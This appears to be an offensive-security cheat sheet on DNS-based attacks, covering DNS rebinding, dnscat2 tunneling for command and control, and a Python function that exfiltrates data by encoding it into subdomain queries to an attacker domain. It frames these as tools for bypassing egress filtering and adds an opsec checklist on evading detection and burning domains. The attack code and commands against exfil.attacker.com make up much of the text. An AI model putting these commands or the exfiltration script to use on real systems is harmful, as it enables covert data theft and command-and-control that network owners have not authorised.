Dns Rebinding Exfiltration

DNS Rebinding and Exfiltration

Using DNS for attacks and data exfiltration — from DNS rebinding to bypass firewalls through DNS tunneling for C2, data exfiltration, and covert channels.

When to Use

• Exfiltrating data through DNS (when all other ports blocked)
• DNS rebinding to bypass same-origin policy
• DNS tunneling for C2 communication
• Bypassing network egress filtering

DNS Attack Techniques

DNS_ATTACK_TYPES = {
    'dns_tunnel': 'Encode data in DNS queries (subdomain), decode on authoritative server',
    'dns_rebinding': 'DNS returns different IPs alternately — bypass SOP, attack internal services',
    'dns_data_exfil': 'Encode file data as subdomains: base64(data).exfil.attacker.com',
    'dns_amplification': 'DNS reflection/amplification for DDoS (small query, large response)',
}

# DNS tunneling with dnscat2
DNSCAT2_SETUP = """
# Server (attacker):
ruby dnscat2.rb --dns domain=exfil.attacker.com --no-cache

# Client (compromised host):
./dnscat2 --dns server=exfil.attacker.com
# or PowerShell:
dnscat2.ps1 -Domain exfil.attacker.com
"""

# Simple DNS exfil script
def dns_exfiltrate(data: bytes, domain: str, dns_server: str):
    """Exfiltrate data via DNS TXT queries."""
    import dns.resolver
    chunks = [data[i:i+32] for i in range(0, len(data), 32)]
    for chunk in chunks:
        encoded = chunk.hex()
        query = f"{encoded}.{domain}"
        dns.resolver.resolve(query, 'TXT')  # Data in subdomain

Verification Checklist

• Authoritative DNS server configured (attacker-controlled domain)
• DNS tunneling tool deployed (dnscat2, iodine, Heyoka)
• DNS exfiltration tested (file data encoded as subdomains)
• Data rate measured (bytes/second via DNS tunnel)
• DNS rebinding tested (alternating IP responses)
• Detection: DNS query patterns blending with normal traffic
• Opsec: burn domain if detected, use legitimate-looking subdomains
• Fallback: DNS tunnel works when HTTP/SSH ports blocked